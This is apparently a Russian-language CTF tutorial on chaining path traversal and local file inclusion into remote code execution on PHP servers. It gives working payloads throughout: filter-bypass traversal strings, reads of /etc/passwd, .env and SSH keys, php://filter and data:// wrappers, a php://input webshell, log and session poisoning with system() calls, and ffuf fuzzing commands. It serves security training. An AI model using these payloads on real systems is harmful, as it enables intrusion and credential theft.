
На недавнем CTF задача из категории Web на 300 очков решилась за 40 минут. Эндпоинт /download?report=quarterly.pdf принимал имя файла без единой проверки. Три запроса в Burp Repeater — ../../../etc/passwd, потом php://filter/convert.base64-encode/resource=config.php — и в ответе лежали креды от базы. Ещё пятнадцать минут на log poisoning, cat /flag.txt, флаг. Цепочка path traversal → LFI → RCE — одна из самых ходовых в веб-задачах CTF. Её и разберём до последнего байта.
Kill chain определяет порядок действий. Когда вы открываете веб-задачу CTF, эксплуатация path traversal и local file inclusion уязвимости проходит через пять фаз — каждая соответствует конкретной технике в MITRE ATT&CK: Подробнее — в нашем руководстве по пентест веб-приложений.
Exploit Public-Facing Application (T1190, Initial Access) — находите уязвимый параметр в веб-приложении. Форма скачивания отчётов, просмотр шаблонов, загрузка изображений — всё, где сервер лезет в файловую систему по пользовательскому вводу.
File and Directory Discovery (T1083, Discovery) — через directory traversal атаку определяете структуру файловой системы. Подставляете пути к известным файлам, проверяете существование директорий, считаете глубину от webroot до корня.
Credential Access (/etc/passwd и /etc/shadow — T1003.008, Credentials In Files — T1552.001) — вытаскиваете конфиденциальные файлы: /etc/passwd для списка пользователей, .env или config.php с паролями от БД и API-ключами, SSH-ключи из /home/user/.ssh/id_rsa.
Data from Local System (T1005, Collection) — собираете данные: исходный код приложения, конфиги, содержимое /proc/self/environ с переменными окружения. На этом шаге часто лежит флаг в задачах начального уровня.
Unix Shell (T1059.004, Execution) — если нужен RCE, раскручиваете LFI до выполнения кода через log poisoning, session injection или PHP wrappers. Финал для задач средней и высокой сложности.
В большинстве CTF-задач флаг лежит на шаге 4 (прямое чтение файла сервера через уязвимость) или на шаге 5 (нужна команда для извлечения). Начальный уровень — прочитал /etc/passwd, подтвердил включение локальных файлов. Продвинутые задачи требуют полную цепочку LFI to RCE.
[Применимо: CTF-среды, legacy PHP-приложения, внешний пентест. В контейнерных деплоях с read-only файловой системой path traversal по-прежнему опасен для чтения исходного кода, но LFI→RCE через логи зачастую невозможен — Docker по умолчанию не пишет логи на диск.]
Первое действие при решении веб-задачи CTF на path traversal — найти точку входа. Параметр, значение которого сервер использует для обращения к файловой системе.
По данным OWASP и HackTricks, наиболее частые имена таких параметров: page, file, path, template, include, doc, dir, folder, style, pdf, conf, root, target, php_path. В CTF-задачах авторы иногда маскируют имя — lang, module, view, section — но суть та же: значение попадает в файловую операцию.
Не ограничивайтесь GET-параметрами в строке URL. Обход директорий веб-приложения часто прячется глубже:
JSON-тело запроса. Эндпоинты API типа POST /api/export с полем {"filename": "report.csv"}. В современных CTF-задачах path traversal в JSON встречается чаще, чем в query string — авторы ориентируются на реальные паттерны уязвимых приложений. По данным YesWeHack, path traversal в API-запросах — распространённый паттерн для микросервисных архитектур, где один сервис формирует запрос к другому, используя пользовательский ввод в пути.
Cookie. Классика из OWASP Path Traversal: приложение берёт значение cookie (например, TEMPLATE) и передаёт его в функцию include. Подстановка Cookie: TEMPLATE=../../../etc/passwd — и системный файл у вас.
HTTP-заголовки. Кастомные заголовки X-Template, X-File-Path, X-Include в задачах повышенной сложности. Такие параметры не видны в URL — нужен анализ трафика через прокси.
Маршруты URL. Когда часть пути интерпретируется как имя файла: /static/css/../../etc/passwd. Этот вектор легко пропустить, если не проксировать трафик.
Методика поиска: откройте Burp Suite, проксируйте весь трафик, прокликайте каждую функцию приложения. В Burp HTTP History отфильтруйте запросы, где значение параметра содержит расширение файла (.php, .html, .pdf, .log) или выглядит как путь. Каждый такой параметр — кандидат на тестирование эксплуатации path traversal.
curl для быстрых проверок из терминалаШаг 1: определите уязвимый параметр. На сайте CTF-задачи обнаружена страница /view?page=about.html. Отправьте запрос в Burp Repeater.
Шаг 2: проверьте базовый traversal. Замените значение параметра на ../../../etc/passwd. Если в ответе появились строки вида root:x:0:0:root:/root:/bin/bash — path traversal уязвимость подтверждена. Чтение /etc/passwd через LFI в чистом виде.
Шаг 3: определите глубину. Три уровня ../ не сработали? Увеличивайте: ../../../../etc/passwd, ../../../../../etc/passwd и дальше. Типичная глубина от webroot до корня — 3-7 уровней. Стандартные webroot-пути на Linux: /var/www/html/, /var/www/app/, /srv/http/, /opt/app/public/. На каждый уровень вложенности — один ../.
Шаг 4: читайте целевые файлы. После подтверждения уязвимости переходите к файлам по приоритету:
| Файл | Зачем | Когда доступен |
|---|---|---|
/etc/passwd |
Подтверждение уязвимости, список пользователей | Почти всегда |
/var/www/html/.env |
Пароли БД, API-ключи, секреты | Если приложение на Laravel/Node.js |
/var/www/html/config.php |
Конфигурация PHP-приложения | PHP-стек |
/home/user/.ssh/id_rsa |
SSH-ключ для доступа к серверу | Если известен username |
/etc/shadow |
Хеши паролей | Только при правах root (редко в CTF) |
/proc/self/environ |
Переменные окружения процесса | CGI/FastCGI конфигурация |
/proc/self/cmdline |
Командная строка запуска приложения | Linux с /proc |
/var/log/apache2/access.log |
Логи для log poisoning (LFI→RCE) | Apache с записью на диск |
Шаг 5: если прямой traversal не работает — сервер фильтрует ввод. Переходите к обходу фильтров.
Большинство CTF-задач средней сложности и выше ставят фильтры. По данным PortSwigger, типичные защиты: удаление ../ из строки, проверка расширения файла, валидация начала пути. Каждый тип фильтра — своя техника обхода пути в URL. Вот алгоритм выбора.
Сервер удаляет ../ из строки нерекурсивно? Распознаётся по тому, что ../../../etc/passwd возвращает ошибку, но сервер не блокирует запрос целиком — просто убирает последовательности. Решение: вложенные traversal-последовательности. Подставьте ....//....//....//etc/passwd. Когда приложение удалит внутренний ../, из ....// получится ../, и traversal отработает. Аналогично работает ....\/ на серверах, принимающих обратный слеш.
WAF или фильтр блокирует запрос с ../? Если сервер возвращает 403 или пустой ответ при любом упоминании ../ — пробуйте URL-кодирование: %2e%2e%2f вместо ../. Если запрос проходит через несколько слоёв декодирования (прокси → веб-сервер → приложение), работает двойное кодирование: %252e%252e%252f. Первый слой декодирует %25 в %, второй — %2e в . и %2f в /.
Сервер проверяет, что путь начинается с определённой директории? Если фильтр ожидает /var/www/images в начале — добавьте этот префикс и продолжите traversal: ?file=/var/www/images/../../../etc/passwd. Приложение пропустит проверку начала, а файловая система разрешит ../.
Фильтр проверяет расширение файла? На PHP < 5.3.4 — null byte bypass LFI: ../../../etc/passwd%00.png. Символ %00 обрезает строку, и PHP откроет /etc/passwd, проигнорировав .png. Техника устаревшая: на PHP 5.3.4 и выше null byte не работает. Для современных PHP-версий ищите другие обходы — если фильтр проверяет только последние 4 символа, попробуйте path truncation.
Абсолютный путь как bypass. Иногда фильтр проверяет только наличие ../, но допускает абсолютные пути. Попробуйте ?file=/etc/passwd — без traversal-последовательностей вообще. Работает чаще, чем кажется. Я на нескольких CTF видел, как люди полчаса ковыряли кодирование, а простой абсолютный путь проходил с первого раза.
| Техника | Пейлоад | Предусловие |
|---|---|---|
| Вложенные traversal | ....//....//etc/passwd |
Нерекурсивное удаление ../ |
| URL-кодирование | %2e%2e%2f |
WAF/фильтр на уровне URL |
| Двойное кодирование | %252e%252e%252f |
Многослойное декодирование (proxy → app) |
| Overlong UTF-8 | %c0%ae%c0%ae%c0%af |
Legacy-парсеры, устаревшие серверы |
| Null byte | ../../../etc/passwd%00.png |
PHP < 5.3.4 |
| Абсолютный путь | /etc/passwd |
Фильтр только на ../, не на / |
| Prefix bypass | /var/www/images/../../../etc/passwd |
Проверка начала пути |
| Обратный слеш | ..\..\..\..\etc\passwd |
Windows или толерантный парсер |
[Ограничение: overlong UTF-8 (%c0%ae) работает только на legacy-серверах и специфичных конфигурациях. В современных фреймворках (Django, Express.js, Spring Boot) с нормализацией через path.resolve() или Paths.get().normalize() этот метод бесполезен. Двойное кодирование тоже не сработает, если на сервере единственный слой декодирования.]
PHP wrappers — главный козырь при эксплуатации LFI в CTF-задачах на PHP. В отличие от простого path traversal, они позволяют контролировать, как сервер обрабатывает содержимое файла.
Когда вы включаете PHP-файл через LFI, сервер его исполняет — вы видите результат работы скрипта, а не его исходный код. Но для CTF нужен именно код: в нём лежат пароли, логика валидации и часто сам флаг.
Wrapper php://filter решает проблему. Запрос ?page=php://filter/convert.base64-encode/resource=config.php заставляет PHP прочитать файл, закодировать содержимое в Base64 и вернуть строку вместо исполнения. Декодируете локально: echo "PD9waHAg..." | base64 -d — и получаете исходный код. Этот wrapper не требует никаких специальных настроек PHP и работает везде, где есть LFI уязвимость веб-приложения на PHP.
Что читать через php://filter в CTF: index.php (точка входа, логика маршрутизации), config.php или db.php (пароли), flag.php (флаг, закомментированный в коде), login.php (логика аутентификации, SQL-запросы).
Если в PHP включена директива allow_url_include (по умолчанию Off, но в CTF-задачах часто включена намеренно), открываются два вектора.
data:// позволяет передать PHP-код прямо в URL: ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==. Сервер декодирует Base64 (это <?php system('id'); ?>), исполнит код и вернёт результат. С точки зрения MITRE ATT&CK здесь применяется техника Deobfuscate/Decode Files or Information (T1140) — данные проходят через декодирование перед исполнением.
php://input работает аналогично, но PHP-код передаётся в теле POST-запроса. Отправляете POST /index.php?page=php://input с телом <?php system($_GET['cmd']); ?> — и получаете webshell.
[Предусловие: data:// и php://input требуют allow_url_include = On в php.ini. В production эта директива выключена. На CTF проверяйте: если php://filter работает, попробуйте data:// — в задачах эту директиву часто включают специально.]
Когда data:// и php://input недоступны (а allow_url_include выключен), нужны альтернативные пути. Три техники ниже не требуют специальных настроек PHP — только возможность читать и включать файлы.
Суть: записать PHP-код в лог-файл веб-сервера через контролируемый заголовок, затем включить этот лог через LFI.
Шаг 1. Убедитесь, что можете читать логи. Стандартные пути: /var/log/apache2/access.log, /var/log/nginx/access.log, /var/log/httpd/access_log, /var/log/httpd/error_log.
Шаг 2. Отравите лог. Отправьте запрос с PHP-кодом в User-Agent:
curl -A "<?php system(\$_GET['cmd']); ?>" http://target/
PHP-код запишется в access.log рядом с вашим IP и timestamp.
Шаг 3. Включите лог через LFI: ?page=../../../var/log/apache2/access.log&cmd=cat+/flag.txt. Сервер обработает файл лога как PHP-скрипт, найдёт ваш payload, исполнит команду и вернёт результат.
[Когда техника НЕ работает: контейнерные деплои с логированием в stdout (Docker по умолчанию не пишет логи на диск), read-only файловые системы, AppArmor/SELinux с ограничением на чтение /var/log процессом веб-сервера. В CTF-задачах на Docker логи могут писаться в /tmp/access.log — пробуйте нестандартные пути.]
Альтернатива, когда логи недоступны. PHP хранит сессионные данные в файлах по путям /var/lib/php/sessions/sess_PHPSESSID или /tmp/sess_PHPSESSID.
Механика: отправьте запрос, записывающий PHP-код в сессионную переменную. Если приложение сохраняет username в сессии — передайте username=<?php system('id'); ?> при авторизации. Затем узнайте свой PHPSESSID из cookie и включите файл сессии: ?page=../../../var/lib/php/sessions/sess_abc123def456.
Файл /proc/self/environ содержит переменные окружения процесса, включая HTTP_USER_AGENT. Если LFI позволяет читать этот файл — отправьте запрос с PHP-кодом в User-Agent и включите /proc/self/environ. Метод работает на CGI/FastCGI-конфигурациях и встречается в CTF-задачах реже, чем log poisoning. Но держите в арсенале — иногда это единственный путь.
Ручной перебор путей и параметров жрёт время, которого на CTF и так нет. ffuf (Go, активно поддерживается, тысячи звёзд на GitHub) решает задачу за секунды.
ffuf -u "http://target/index.php?page=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-fc 403 -fs 0
Здесь -fc 403 фильтрует ответы Forbidden, -fs 0 — пустые ответы, FUZZ заменяется каждой строкой из вордлиста. SecLists содержит готовые списки: LFI-Jhaddix.txt для пейлоадов с разной глубиной и кодировками, burp-parameter-names.txt для перебора имён параметров.
Двойной фаззинг — одновременный перебор имени параметра и payload — полезен, когда вы не знаете, какой параметр уязвим: ffuf -w params.txt:PARAM -w traversal.txt:TRAVERSE -u "http://target/?PARAM=TRAVERSE" -fs 4242.
В Burp Suite Intruder (даже в Community Edition) можно загрузить вордлист вручную — выделите значение параметра, выберите тип атаки Sniper, загрузите файл с пейлоадами. В Pro-версии есть встроенный список Fuzzing - path traversal с закодированными вариациями, описанный в документации PortSwigger.
Из специализированных инструментов: LFImap автоматизирует тестирование LFI включая PHP wrappers, kadimus ищет и эксплуатирует LFI автоматически. Перед использованием проверяйте актуальность — некоторые из этих проектов давно не обновлялись, и с современными средами могут быть проблемы совместимости.
file, page, path, template)../../../etc/passwd с увеличением глубины до 7 уровней....//, %2e%2e%2f, %252e%252e%252f, абсолютный путь /etc/passwd/etc/passwd, .env, config.php, исходный кодphp://filter/convert.base64-encode/resource=index.phpcat /flag.txt или find / -name "flag*" 2>/dev/nullЗадачи на path traversal LFI в CTF меняются. Два-три года назад хватало прямого ../../../etc/passwd — флаг валялся в конфигурационном файле или в /root/flag.txt, доступном для чтения. Сейчас авторы тасков выстраивают цепочки: path traversal → чтение исходного кода → обнаружение второй уязвимости (SQL injection, deserialization) → RCE → флаг. Чистая directory traversal атака — лишь первое звено, а не самодостаточное решение.
Отсюда неочевидный вывод: тратить время на заучивание двадцати вариантов кодирования ../ менее продуктивно, чем натренировать навык быстрого чтения исходного кода через php://filter и поиска следующей уязвимости в прочитанном коде. Я видел десятки CTF-задач, где участники находили LFI за минуту, но тратили час, не понимая, что делать с полученным исходником. Умение читать PHP/Python/Node.js-код на скорость и видеть в нём injection points — вот что отделяет решённую задачу от «почти решённой». И этот навык переносится напрямую в реальный пентест: OWASP A03:2021 (Injection) — третья по критичности категория рисков именно потому, что пользовательский ввод без валидации попадает в файловые операции, SQL-запросы, системные вызовы. На WAPT эту цепочку — от базового directory traversal до полноценного LFI to RCE с обходом фильтров — проходят в двух модулях с лабами, где каждый шаг нужно отработать самостоятельно.
🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».
0 комментариев
Пожалуйста, войдите, чтобы оставить комментарий.
Загрузка комментариев...